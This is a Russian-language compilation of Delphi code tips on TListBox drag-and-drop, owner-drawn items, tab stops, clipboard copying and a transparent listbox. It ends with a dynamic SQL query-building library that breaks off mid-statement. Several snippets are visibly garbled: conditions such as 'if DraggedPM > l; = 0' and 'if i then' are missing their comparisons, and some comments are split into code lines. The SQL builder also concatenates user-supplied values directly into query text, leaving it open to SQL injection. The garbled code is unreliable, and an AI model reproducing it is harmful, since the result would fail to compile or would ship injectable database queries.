  ItemNum := lbSearch.ItemAtPos(Point(X, Y), True);
  if (ItemNum <> HintRow) then
  begin
    HintRow := ItemNum;
    Application.CancelHint;
    if HintRow > -1 then
    begin
      HintString := lbSearch.Items[ItemNum];
      if (lbSearch.Canvas.TextWidth(HintString) <= lbSearch.ClientWidth - 25) then
        HintString := '';
    end
    else
      HintString := '';
  end;
end;
procedure TfmDWMain.OnShowHint(var HintStr: string;
  var CanShow: Boolean; var HintInfo: THintInfo);
begin
  if not (HintInfo.HintControl is TListBox) then Exit;
  with HintInfo.HintControl as TListBox do begin
    HintInfo.HintPos := lbSearch.ClientToScreen(Point(21,
      lbSearch.ItemRect(HintRow).Top + 1));
    HintStr := HintString;
  end;
end;

Изменение позиций элементов ListBox с помощью Drag and Drop.

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
  with (Sender as TListBox) do
    Items.Move(ItemIndex,ItemAtPos(Point(x,y),True));
end;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
  Accept := (Sender=Source);
end;

Не забудьте в ListBox присвоить свойству DragMode значение dmAutomatic.

Изменение позиций элементов ListBox с помощью Drag and Drop 2.

Попробуйте для начала это:

unit Draglb;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TDragListBox = class(TListBox)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    { Public declarations }
    procedure DragOver(Sender, Source: TObject; X, Y: Integer; State:
      TDragState; var Accept: Boolean);
    procedure DragDrop(Sender, Source: TObject; X, Y: Integer);
    constructor Create(AOwner: TComponent); override;
    { Published declarations }
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Custom', [TDragListBox]);
end;
constructor TDragListBox.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  DragMode := dmAutomatic;
  OnDragDrop := DragDrop;
  OnDragOver := DragOver;
end;
procedure TDragListBox.DragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  Accept := Source = Self;
end;
procedure TDragListBox.DragDrop(Sender, Source: TObject; X, Y: Integer);
var
  Value: Integer;
begin
  if Sender = Self then
  begin
    Value := Self.ItemAtPos(Point(x, y), True);
    if Value = -1 then
    begin
      Self.Items.Add(Self.Items[Self.ItemIndex]);
      Self.Items.Delete(Self.ItemIndex);
    end
    else
    begin
      Self.Items.Insert(Value {+ 1}, Self.Items[Self.ItemIndex]);
      Self.Items.Delete(Self.ItemIndex);
    end;
  end;
end;
end.

Чтобы заставить элемент перемещаться в позицию каждого элемента, вам необходимо сопоставлять область текущего элемента с текущим положения курсора мыши. Для организации автоматического скроллирования также необходимо вычислять текущие координаты курсора.

Изменение позиций элементов ListBox с помощью Drag and Drop 3.

Если вы хотите принимать перетаскиваемый объект, только если он представляет собой собственный элемент, то в обработчике OnDragOver вставьте строчку "Accept := Source=Sender;". Ниже приведен код, позволяющий сортировать элементы с помощью перетаскивания их мышкой внутри списка компонента. Вам также понадобится таймер для обеспечения функции автопрокручивания. Это означает, что при перетаскивании элемента в верхнюю часть списка, он при необходимости прокручивается вниз, дабы стали видны невидимые в верхней части списка элементы. Если вам не нужно такое поведение компонента, исключите из кода все строчки, имеющие отношение к таймеру, включая вторую строчку в обработчике события OnDragOver.

...
private
  { Private declarations }
  GoingUp: Boolean;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject;
  X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
  Accept := (Sender = Source) and
    (TListBox(Sender).ItemAtPos(Point(X, Y), False) >= 0);
  {устанавливаем таймер для автопрокрутки}
  if Accept then
    with Sender as TListBox do
      if Y > Height - ItemHeight then
      begin
        GoingUp := False;
        Timer1.Enabled := True;
      end
      else if Y > ItemHeight then
      begin
        GoingUp := True;
        Timer1.Enabled := True;
      end
      else
        Timer1.Enabled := False;
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject;
  X, Y: Integer);
var
  NuPos: Integer;
begin
  with Sender as TListBox do
  begin
    NuPos := ItemAtPos(Point(X, Y), False);
    if NuPos >= Items.Count then
      Dec(NuPos);
    Label1.Caption := Format('Перемещено из %d в %d',
      [ItemIndex, NuPos]);
    Items.Move(ItemIndex, NuPos);
    {выделяем перемещенный элемент}
    ItemIndex := NuPos;
  end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  with ListBox1 do
    if GoingUp then
      if TopIndex > 0 then
        TopIndex := TopIndex - 1
      else
        Timer1.Enabled := False
    else if TopIndex < Items.Count - 1 then
      TopIndex := TopIndex + 1
    else
      Timer1.Enabled := False;
end;
procedure TForm1.ListBox1EndDrag(Sender, Target: TObject;
  X, Y: Integer);
begin
  Timer1.Enabled := False;
end;

Изменение позиций элементов ListBox с помощью Drag and Drop 2.

Вот еще одна вариация сабжа.

procedure TPickParty.PickListBMouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  if Button = mbLeft then
    with Sender as TListBox do
    begin
      DraggedPM := ItemAtPos(Point(X, Y), True);
      if DraggedPM > l;
      = 0 then
        BeginDrag(False);
    end;
end;
procedure TPickParty.PickListBDragOver(Sender, Source: TObject; X,
  Y: Integer; State: TDragState; var Accept: Boolean);
begin
  if Source = PickListB then
    Accept := True;
end;
procedure TPickParty.PickListBDragDrop(Sender, Source: TObject; X, Y: Integer);
var
  NewIndex: integer;
begin
  NewIndex := PickListB.ItemAtPos(Point(X, Y), False);
  if NewIndex > PickListB.Items.Count - 1 then
    NewIndex := PickListB.Items.Count - 1;
  PickListB.Items.Move(DraggedPM, NewIndex);
  PickListB.ItemIndex := NewIndex;
end;

Проверка ситуации Выход За Границы Списка при нажатии правой кнопки на списке.

Обрабатывается событие TListBox.onMouseDown.

procedure TMain.UserListMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  Point: TPoint;
  I: Integer;
const
  NoHit = -1;
begin
  if Button = mbRight then
  begin
    // Если нажата правая кнопка мыши, выяснить, не попал ли курсор
    // на элемент списка UserList
    Point.X := x;
    Point.Y := y;
    I := UserList.ItemAtPos(Point, True);
    if not (i = NoHit) then
    begin
      // курсор попал на элемент списка с номером i
      // принудительно назначаем его текущим, т.е. отмеченным
      UserList.ItemIndex := I;
      TListBox(Sender).PopUpMenu.AutoPopup := True;
    end
    else // курсор промахнулся , нет смысла активизировать меню
      TListBox(Sender).PopUpMenu.AutoPopup := False;
  end;
end;

Пример OwnerDraw для Listbox.

Вот пример обработчика OnDrawItem, выводящий английские гласные в красном цвете:

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  S: string;
  N: Word;
  WasColor: TColor;
begin
  with Control as TListBox, Canvas do
  begin
    S := Items[Index];
    FillRect(Rect);
    MoveTo(Rect.Left + 2, Rect.Top);
    SetTextAlign(Canvas.Handle, TA_LEFT or TA_UPDATECP);
    WasColor := Font.Color;
    for N := 1 to Length(S) do
    begin
      case UpCase(S[N]) of
        'A', 'E', 'I', 'O', 'U': Font.Color := clRed;
      else
        Font.Color := WasColor;
      end;
      WinProcs.TextOut(Canvas.Handle, 0, 0, @S[N], 1);
    end;
  end;
end;

Обратите внимание на то, что для того, чтобы использовать стиль TA_UPDATECP (при котором каждый следующий вызов TextOut выводил текст в позиции, расположенной после предшествуюшей), необходимо использовать функцию API function TextOut (WinProcs.TextOut) вместо метода объекта Delphi Canvas TextOut.

Рисование картинок в TListBox.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ Create a TImage on your Formular and assign a bitmap }
 { Create a TListbox on your Formular }
 type
   TForm1 = class(TForm)
     ListBox1: TListBox;
     Image1: TImage;
     procedure FormCreate(Sender: TObject);
     procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
       Rect: TRect; State: TOwnerDrawState);
     procedure ListBox1MeasureItem(Control: TWinControl; Index: Integer;
       var Height: Integer);
   private
     {...}
   public
     {...}
   end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   with ListBox1.Items do
   begin
     Clear;
     ListBox1.Style := lbOwnerDrawVariable;
     AddObject('Bitmap1', Image1.Picture.Bitmap);
     AddObject('Bitmap2', Image2.Picture.Bitmap);
     AddObject('Bitmap3', Image3.Picture.Bitmap);
   end;
 end;
 procedure CenterText(Cnv: TCanvas; Rect: TRect; S: string);
 var
    X, Y: Integer;
 begin
   X := (Rect.Right + Rect.Left - Cnv.TextWidth(S)) div 2;
   Y := (Rect.Bottom + Rect.Top - Cnv.TextHeight(S)) div 2;
   Cnv.TextOut(X, Y, S);
 end;
 procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
   Rect: TRect; State: TOwnerDrawState);
 var
    Bitmap: TBitmap;
 begin
   with ListBox1 do
   begin
     Canvas.FillRect(Rect);
     if Items.Objects[Index] <> nil then
     begin
       Bitmap := Items.Objects[Index] as TBitmap;
       Canvas.BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2,
         Bitmap.Width, Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
         Bitmap.Height), Bitmap.Canvas.Pixels[0, Bitmap.Height - 1]);
     end;
     Rect.Left   := Rect.Left + Bitmap.Width + 4;
     Rect.Bottom := Rect.Top + Bitmap.Height + 4;
     CenterText(Canvas, Rect, Items.Strings[Index]);
   end;
 end;
 procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer;
   var Height: Integer);
 begin
   if Index = 0 then Height := Image1.Height + 4;
 end;

Выровнять текст в TListBox вправо.

procedure TForm1.FormCreate(Sender: TObject); 
begin 
  // Oder im Objektinspektor einstellen 
  // Or set in object inspector 
  ListBox1.Style := lbOwnerDrawFixed; 
end; 
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; 
  Rect: TRect; State: TOwnerDrawState); 
var 
  l: Integer;  
  t: String; 
begin 
  with ListBox1 do 
  begin 
    Canvas.FillRect(Rect); 
    t := Items[Index];  
    l := Rect.Right - Canvas.TextWidth(t) - 1; 
    Canvas.TextOut(l, Rect.Top, t); 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ListBox1.Items.Add(Edit1.Text); 
end;

Навигация по выбранным элементам в ListBox.

Данный пример выводит сообщение для каждого элемента Listbox, выбранного пользователем.

procedure TForm1.Button1Click(Sender: TObject);
var
  Loop: Integer;
begin
  for Loop := 0 to Listbox1.Items.Count - 1 do
    if Listbox1.Selected[Loop] then
      ShowMessage(Listbox1.Items.Strings[Loop]);
end;

Колонки разной ширины в TListBox при помощи табулятора.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 const
   // The maximum number of Tabs 
  // Die Anzahl der maximal aufretenen Tabs eintragen 
  MAX_TABS = 4;
   Tab = #9;
 var
   Tabulators: array[0..MAX_TABS] of Integer;
 begin
   { Set the Tabulator Widths / Tabulatorweiten festlegen}
   Tabulators[0] := 70;
   Tabulators[1] := 120;
   Tabulators[2] := 100;
   Tabulators[3] := 80;
   Listbox1.TabWidth := 1;
   { Set the Tabulators / Tabulatoren setzen }
   SendMessage(ListBox1.Handle, LB_SETTABSTOPS, MAX_TABS, Longint(@Tabulators));
   { Add some Items / Items hinzufugen.}
   Listbox1.Items.Add('Peter' + Tab + 'Meier' + Tab + '1234-56' + Tab + 'Otzlingen');
   Listbox1.Items.Add('Johann Jones' + Tab + 'Krauter' + Tab + '123-45');
 end;

Скопировать строки TListBox в буфер обмена.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   Clipbrd;
 procedure ListBoxToClipboard(ListBox: TListBox;
   BufferSize: Integer;
   CopyAll: Boolean);
 var
   Buffer: PChar;
   Size: Integer;
   Ptr: PChar;
   I: Integer;
   Line: string[255];
   Count: Integer;
 begin
   if not Assigned(ListBox) then
     Exit;
   GetMem(Buffer, BufferSize);
   Ptr   := Buffer;
   Count := 0;
   for I := 0 to ListBox.Items.Count - 1 do
   begin
     Line := ListBox.Items.strings[I];
     if not CopyAll and ListBox.MultiSelect and (not ListBox.Selected[I]) then
       Continue;
     { Check buffer overflow }
     Count := Count + Length(Line) + 3;
     if Count = BufferSize then
       Break;
     { Append to buffer }
     Move(Line[1], Ptr^, Length(Line));
     Ptr    := Ptr + Length(Line);
     Ptr[0] := #13;
     Ptr[1] := #10;
     Ptr    := Ptr + 2;
   end;
   Ptr[0] := #0;
   ClipBoard.SetTextBuf(Buffer);
   FreeMem(Buffer, BufferSize);
 end;
 procedure ClipboardToListBox(ListBox: TListbox);
 begin
   if not Assigned(ListBox) then
     Exit;
   if not Clipboard.HasFormat(CF_TEXT) then
     Exit;
   Listbox.Items.Text := Clipboard.AsText;
 end;
 //Copy all items from Listbox1 to the clipboard 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ListBoxToClipboard(ListBox1, 1024, True);
 end;
 //Paste items in clipboard to Listbox2 
procedure TForm1.Button2Click(Sender: TObject);
 begin
   ClipboardToListBox(Listbox2);
 end;
 //Copy only selected items from Listbox1 to the clipboard 
procedure TForm1.Button3Click(Sender: TObject);
 begin
   ListBoxToClipboard(Listbox1, 1024, False);
 end;

Перенос строк из TListBox в TRichEdit.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
 var
   P: TPoint;
 begin
   P := Point(X, Y);
   Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, Longint(@P));
 end;
 procedure TForm1.RichEdit1DragOver(Sender, Source: TObject; X, Y: Integer;
   State: TDragState; var Accept: Boolean);
 var
   P: TPoint;
 begin
   // Check, if Source is ListBox1 
  Accept := Source = ListBox1;
   if GetCursorPos(P) then
     with RichEdit1 do
     begin
       // Get the Index from Mouse Position 
      P := ScreenToClient(P);
       SelStart := RECharIndexByPos(RichEdit1, P.X, P.Y);
       SetFocus;
     end;
 end;
 procedure TForm1.RichEdit1DragDrop(Sender, Source: TObject; X, Y: Integer);
 begin
   // finally insert text at mouse position 
  RichEdit1.SelText := ListBox1.Items[ListBox1.ItemIndex];
 end;

Прозрачный TListBox.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit TransparentListBox;
 (*
  *
  *  Written by Walter Irion (CIS 114254, 2455) after the THotSpot
  *  sample component that Arne Sch?pers presented in the German
  *  c''t magazine (issue 6/1996, pp. 286 ff.).
  *
  *  TTransparentListBox is far from being a universal solution:
  *  it does not prevent Windows'' scrolling mechanism from
  *  shifting the background along with scrolled listbox lines.
  *  Moreover, the scroll bar remains hidden until the keyboard
  *  is used to change the selection, and the scroll buttons
  *  become visible only when clicked.
  *
  *  To break it short: TTransparentListBox is only suitable
  *  for non-scrolling lists.
  *
  *  In fact it must be possible to write a listbox component
  *  that handles scrolling correctly. But my essays to intercept
  *  EM_LINESCROLL messages were fruitles, even though I tried
  *  subclassing via WndProc.
  *
  *  A solution for transparent TEdit and TMemo controls is
  *  introduced in issue 9/1996 of the c''t magazine, again
  *  by Arne Sch?pers. But these are outright monsters with
  *  wrapper windows to receive notification messages as well
  *  as so-called pane windows that cover the actual control''s
  *  client area and display its content.
  *
  *  Previous issues of the c''t magazine can be ordered from:
  *
  *    c''t-Kopierservice
  *    Helstorfer Str. 7
  *    30625 Hannover, Germany
  *
  *  They expect a crossed cheque amounting to DM 14,00
  *  to be included with your order, but I don''t know about
  *  international orders.
  *
  *)
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
 type
   TTransparentListBox = class(TListBox)
   private
     { Private declarations }
   protected
     { Protected declarations }
     procedure CreateParams(var Params: TCreateParams); override;
     procedure WMEraseBkgnd(var Msg: TWMEraseBkgnd); message WM_ERASEBKGND;
     procedure DrawItem(Index: Integer; Rect: TRect; State: TOwnerDrawState);
       override;
   public
     { Public declarations }
     constructor Create(AOwner: TComponent); override;
     procedure SetBounds(ALeft, ATop, AWidth, AHeight: Integer); override;
   published
     { Published declarations }
     property Style default lbOwnerDrawFixed;
     property Ctl3D default False;
     property BorderStyle default bsNone;
   end;
 procedure Register;
 implementation
 constructor TTransparentListBox.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   Ctl3D       := False;
   BorderStyle := bsNone;
   Style       := lbOwnerDrawFixed;  // changing it to lbStandard results 
  // in loss of transparency 
end;
 procedure TTransparentListBox.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
 end;
 procedure TTransparentListBox.WMEraseBkgnd(var Msg: TWMEraseBkgnd);
 begin
   Msg.Result := 1;           // Prevent background from getting erased 
end;
 procedure TTransparentListBox.SetBounds(ALeft, ATop, AWidth, AHeight: Integer);
 var
   tlbVisible: Boolean;
 begin
   tlbVisible := (Parent <> nil) and IsWindowVisible(Handle);  // Check for 
  visibility
   if tlbVisible then ShowWindow(Handle, SW_HIDE);             // Hide-Move-Show 
  strategy...inherited SetBounds(ALeft, ATop, AWidth, AHeight);          // ... to prevent 
  background...if tlbVisible then ShowWindow(Handle, SW_SHOW);             // ... from 
  getting copied
 end;
 procedure TTransparentListBox.DrawItem(Index: Integer; Rect: TRect;
   State: TOwnerDrawState);
 var
   FoundStyle: TBrushStyle;
   R: TRect;
 begin
   FoundStyle := Canvas.Brush.Style;       // Remember the brush style 
  R := Rect;                                     // Adapt coordinates of drawing 
  rect...MapWindowPoints(Handle, Parent.Handle, R, 2);  // ... to parent''s coordinate 
  system
   InvalidateRect(Parent.Handle, @R, True);   // Tell parent to redraw the 
  item Position
   Parent.Update;                             // Trigger instant redraw 
  (required)
   if not (odSelected in State) then
   begin  // If an unselected line is being 
    handled
     Canvas.Brush.Style := bsClear;  //   use a transparent background 
  end
   else
   begin                          // otherwise, if the line needs to be 
    highlighted,
     Canvas.Brush.Style := bsSolid;  //   some colour to the brush is 
    essential
   end;
   inherited DrawItem(Index, Rect, State); // Do the regular drawing and give 
  component users...
   // ... a chance to provide an 
  OnDrawItem handler
   Canvas.Brush.Style := FoundStyle;  // Boy-scout rule No. 1: leave site as 
  you found it
 end;
 procedure Register;
 begin
   RegisterComponents('Samples', [TTransparentListBox]);
 end;
 end.

ListBox с графикой.

Вот пример кода. Вам необходимо установить свойство ListBox Style в lbOwnerDrawFixed. Затем в обработчике события DrawItem мы попытаемся нарисовать изображение (смотри описание события OwnerDraw в справке по Delphi).

unit Listemas;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TLTemas = class(TForm)
    ListBox1: TListBox;
    procedure FormActivate(Sender: TObject);
    procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  LTemas: TLTemas;
implementation
{$R *.DFM}
procedure TLTemas.FormActivate(Sender: TObject);
var
  Dibujo: TIcon;
begin
  with ListBox1.Items do
  begin
    Dibujo := TIcon.create;
    Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
    AddObject('Delphi World - программа для всех', Dibujo);
    Dibujo := TIcon.create;
    Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
    AddObject('Delphi World - самый большой сборник', Dibujo);
  end;
end;
procedure TLTemas.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  Icon: TIcon;
  Offset: Integer; { ширина отступа текста }
begin
  with (Control as TListBox).Canvas do
    { рисуем на холсте элемента управления, не на форме }
  begin
    FillRect(Rect); { очищаем прямоугольник }
    Offset := 2; { обеспечиваем отступ по умолчанию }
    Icon := TIcon((Control as TListBox).Items.Objects[Index]);
      { получаем иконку для данного элемента }
    if Icon <> nil then
    begin
      Draw(Rect.Left + 1, Rect.Top + 2, TIcon((Control as
        TListBox).Items.Objects[Index]));
      Offset := Icon.width + 9;
        { добавляем четыре пикселя между иконкой и текстом }
    end;
    TextOut(Rect.Left + Offset, Rect.Top + 7, (Control as TListBox).Items[Index])
      { выводим текст }
  end;
end;
end.

Воспользуйтесь событием OnDrawItem объекта ListBox (или ComboBox, или др.). В его обработчике рисовать графику так же легко, как и писать текст. (Полное управление вы получите после того, как подключите к своей работе обработку события OnMeasureItem).

procedure ListDrawItem(Control: TWinControl; Index:
  Integer; Rect: TRect; State: TOwnerDrawState);
var
  BitMap: TBitMap;
begin
  {Здесь инициализируем Bitmap.... например, загружаем в него изображение}
  with (Control as TListBox).Canvas do
  begin
    FillRect(Rect);
    Draw(Rect.Left, Rect.Top, BitMap);
    TextOut(Rect.Left + 2 + BitMap.Width, Rect.Top,
      DstList.items.strings[index]); {DstList - имя списка}
  end;
end;

Включение табуляторов в Listbox.

unit TabsLBox;
{включение табуляторов в listbox}
interface
uses WinTypes, Classes, Controls, StdCtrls;
type
  TMyListBox = class(TListBox)
  protected
    procedure CreateParams(var Params: TCreateParams); override;
  end;
procedure register;
implementation
procedure register;
begin
  RegisterComponents('Samples', [TMyListBox]);
end;
procedure TMyListBox.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style or LBS_USETABSTOPS;
end;
end.

Заполнение строки определенным символом до нужной длины.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 function LeftPad(S: string; Ch: Char; Len: Integer): string;
 var
   RestLen: Integer;
 begin
   Result  := S;
   RestLen := Len - Length(s);
   if RestLen < 1 then Exit;
   Result := S + StringOfChar(Ch, RestLen);
 end;
 function RightPad(S: string; Ch: Char; Len: Integer): string;
 var
   RestLen: Integer;
 begin
   Result  := S;
   RestLen := Len - Length(s);
   if RestLen < 1 then Exit;
   Result := StringOfChar(Ch, RestLen) + S;
 end;
 {Beispiel / Example}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Edit1.Text := Rightpad(Edit2.Text, '-', 30);
 end;

Округление в меньшую сторону.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> «Округление» в меньшую сторону
Функция возвращает наибольшее число,
меньшее или равное Value, которое
без остатка делится на Divider
Зависимости: нет
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        20 мая 2002 г.
***************************************************** }
function RoundPrev(Value, Divider: Integer): Integer;
asm
   mov ecx, edx
   cdq
   idiv ecx
   imul ecx
end;

Пример использования:

RoundPrev(10, 3) // = 9
RoundPrev(9, 3) // = 9

Как перевести в 16-ричный код букву.

var
  Str: Char;
begin
  Str := 'В';
  Form1.Caption := Format('%x', [Ord(Str)]);
end;

Библиотека для создания динамических SQL скриптов.

Автор: Подкопаев Владимир

Библиотека для организации поисковой системы в произвольной БД с помощью динамических SQL запросов.

Описание:

Результатом работы функции:

Search_out(_путь : string): TConrolSearch;

Является создание файла с формированным SQL запросом, который в последствии используется компонентов TQuery.

Функция возвращает значение - код ошибки при формировании запроса. Если 0, то запрос сформирован удачно, в противном случае формируется код ошибки (например 1, если послан нулевой запрос). Ошибки младших байтов от 0..4 не являются критическими в плане неправильного формирования запроса. Старшие байты от 5..8 вызывают критические ошибки (TSQL не может выполнить запрос).

Перед вызовом функции, необходимо задать параметры объекта для формирования файла sql запроса.

Описание переменыых объекта Param_:

Например:

tables_count := 2;
tables[1] := 'uchet';
tables[2] := 'ispol';

Например (2 таблицы, 9 параметров):

Param_.Count := 9;
if (UchetCheck.Checked = true) and (IspolCheck.Checked = true) then
begin
  tables_count := 2;
  tables[1] := 'uchet';
  tables[2] := 'ispol';
  Param_.Reference[1] := 1;
  Param_.Reference[2] := 1;
  Param_.Reference[3] := 1;
  Param_.Reference[4] := 2;
  Param_.Reference[5] := 1;
  Param_.Reference[6] := 1;
  Param_.Reference[8] := 2;
  Param_.Reference[9] := 2;
end;

unit Search_engine;
interface
const
  err0 = 'Search_out';
  eq = '=';
  min = '';
  eq_min = '==';
  min_max = '!=';
  SEL = 'SELECT';
  FROM = 'FROM ';
  U = '''';
  C = ',';
  C_ = '.';
  P = ' :PARAM_';
  L = ' LIKE ';
  A = ' AND ';
  PP = '+';
  PR = '%';
  BTW = ' BETWEEN ';
  N = ' !';
  UP = 'upper';
  ORD_ = 'ORDER BY ';
  type PTypeList = 'A'..'Z';
  type TFieldList = array [1..50] of string;
  type EqTypeList = string[2];
  type TControlSearch = record
  SetByte: byte;
  GetByteString: array [0..7] of string;
end;
type StrArr = array [1..50] of string[30];
  RefArr = array [1..50] of integer;
  PType = array [1..50] of PTypeList; // 'S' - string, 'D' - dateTime, 'N' - numeric, 'C' - vocabulary
  EqType = array [1..50] of boolean;
  TOrder = array [1..50] of integer;
  ETL = array [1..50] of string[2];
  Param = object
  param_value : StrArr;
  Field_Name : StrArr;
  Reference : RefArr;
  Count : integer;
  param_name : string;
  param_type : PType;
  Equality : EqType;
  Inverse : EqType; //Working only if Equality[i] = true
  NumEq : ETL;
  Order : TOrder;
end;
type Param_Result_ = object
  param_value : StrArr;
  Field_Name : StrArr;
  Reference : RefArr;
  Count : integer;
  param_name : string;
  param_type : PType;
  Equality : EqType;
  Inverse : EqType;
  NumEq : ETL;
  Order : TOrder;
end;
var
  search_param_count, tables_count: integer;
  Sql_File : Text;
  tables : StrArr;
  Param_ : Param;
  Param_Result : Param_Result_;
  ListField : TFieldList;
  ListFieldCount : integer;
  path_ : string;
procedure Clear_Search;
procedure SetOrder(o : integer;str : string);
function Search_out(path : string) : TControlSearch;
function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
  Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
implementation
uses
  SysUtils;
procedure Clear_Search;
var
  k: integer;
begin
  for k := 1 to 50 do
    Param_.param_value[k] := '';
end;
function Search_out(path: string): TControlSearch;
//Error Section
const
  err1 = 'ZeroCtrlString';
var
  first_str : string;
  i : integer;
  table_str : string;
  Result_param : StrArr;
  CtrlString : string;
  SELECT,
  TMP_SELECT : string;
  FieldCount : integer;
  f_type : string;
begin
  i := 0;
  Param_Result.Count := 0;
  if ListFieldCount = 0 then
    SELECT := 'SELECT* FROM '
  else
  begin
    SELECT := SEL;
    TMP_SELECT := '';
    for FieldCount := 1 to ListFieldCount do
    begin
      if FieldCount = ListFieldCount then
      begin
        TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount];
        break;
      end;
      TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount] + C;
    end;
    SELECT := SELECT + ' ' + TMP_SELECT + ' ' + FROM;
  end;
  repeat
    inc(i);
    if Param_.param_value[i] <> '' then
    begin
      inc(Param_Result.Count);
      Param_Result.param_value[Param_Result.Count] := Param_.param_value[i];
      CtrlString := CtrlString + Param_.param_value[i];
      Param_Result.Field_Name[Param_Result.Count] := Param_.Field_Name[i];
      Param_Result.Reference[Param_Result.Count] := Param_.Reference[i];
      Param_Result.Param_type[Param_Result.Count] := Param_.Param_type[i];
      Param_Result.Equality[Param_Result.Count] := Param_.Equality[i];
      Param_Result.Inverse[Param_Result.Count] := Param_.Inverse[i];
      Param_Result.NumEq[Param_Result.Count] := Param_.NumEq[i];
    end;
  until
    i = Param_.Count;
  // 1 BIT ERROR CHECK
  if CtrlString = '' then
  begin
    Search_out.SetByte := 1;
    Search_out.GetByteString[1] := Err0 + C_ + Err1;
    AssignFile(Sql_File,path);
    Rewrite(Sql_File);
    writeln(Sql_File,SELECT+tables[1]);
    CloseFile(Sql_file);
    exit;
  end
  else
  begin
    Search_out.SetByte := 0;
    Search_out.GetByteString[0] := '';
  end;
  i := 0;
  AssignFile(Sql_File,path);
  path_ := path;
  Rewrite(Sql_File);
  if tables_count > 1 then
  begin
    while i <> tables_count do
    begin
      inc(i);
      if i = tables_count then
        first_str := first_str + tables[i]
      else
        first_str := first_str + tables[i] + C;
    end; //WHILE
  end
  else
    first_str := tables[1];
  first_str := SELECT + first_str;
  writeln(Sql_File,first_str);
  writeln(Sql_File,'WHERE');
  i := 0;
  {!MAIN REPEAT!}
  repeat
    inc(i);
    table_str := tables[param_Result.Reference[i]];
    Param_Result.param_name := Param_Result.param_value[i];
    //СТРОКОВЫЙ ТИП
    if (Param_Result.param_type[i] = 'S') then
      if i then
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + UP +'(' + U + Param_Result.param_name + PR + U +')' + A)
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+U+ Param_Result.param_name+U+A)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+U+ Param_Result.param_name+U+A);
      end
      else
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + UP + '(' + U + Param_Result.param_name + PR + U + ')')
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+U+ Param_Result.param_name+U)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+U+ Param_Result.param_name+U);
      end;
    // ТИП ДАТА
    if (Param_Result.param_type[i] = 'D') then
    begin
      if i + 1 then
      begin
        if (Param_Result.param_type[i+1] = 'D') and
        (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
        begin
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
